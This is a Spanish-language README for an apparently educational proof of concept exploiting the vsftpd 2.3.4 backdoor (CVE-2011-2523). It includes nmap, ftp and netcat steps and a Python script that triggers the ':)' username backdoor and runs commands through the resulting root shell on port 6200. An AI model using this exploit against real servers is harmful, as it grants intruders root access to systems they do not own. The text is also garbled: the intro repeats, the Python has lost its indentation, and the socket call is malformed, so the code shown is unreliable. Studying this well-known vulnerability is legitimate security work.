
vsftpd 2.3.4 (CVE-2011-2523) una vulnerabilidad crítica que conduce a una shell inversa de root. En este repositorio haré una Prueba de Concepto sobre cómo explotarla paso a paso, Manual y Automáticamente (Python) con fines educativos.
vsftpd 2.3.4 (CVE-2011-2523) una vulnerabilidad crítica que conduce a una Shell Root. En este repositorio haré una PoC de cómo explotarla paso a paso, Manualmente y Automáticamente (Python) con fines educativos.
¿De qué trata la vulnerabilidad?
En primer lugar, es un exploit del lado del servidor, por lo que lo explotaremos de forma remota. La idea es que cuando te conectas al servicio FTP en el puerto 21 por defecto usando un nombre de usuario que contenga :), se activa la apertura del puerto TCP 6200 con una Shell Root, de modo que cualquiera puede conectarse y tener acceso Root al servidor objetivo, lo cual es un desastre. Así que hagámoslo prácticamente paso a paso. Lo explicaré manualmente primero para tener una idea completa, luego hay un script de Python para explotarlo automáticamente.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
El puerto 6200 está abierto ahora, así que esta es nuestra puerta trasera
nc -nv Target_IP 6200
Finalmente, tenemos una Shell Root en la máquina objetivo.

Después de hacerlo manualmente, conocemos los pasos del exploit:
:) para activar la puerta trasera.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()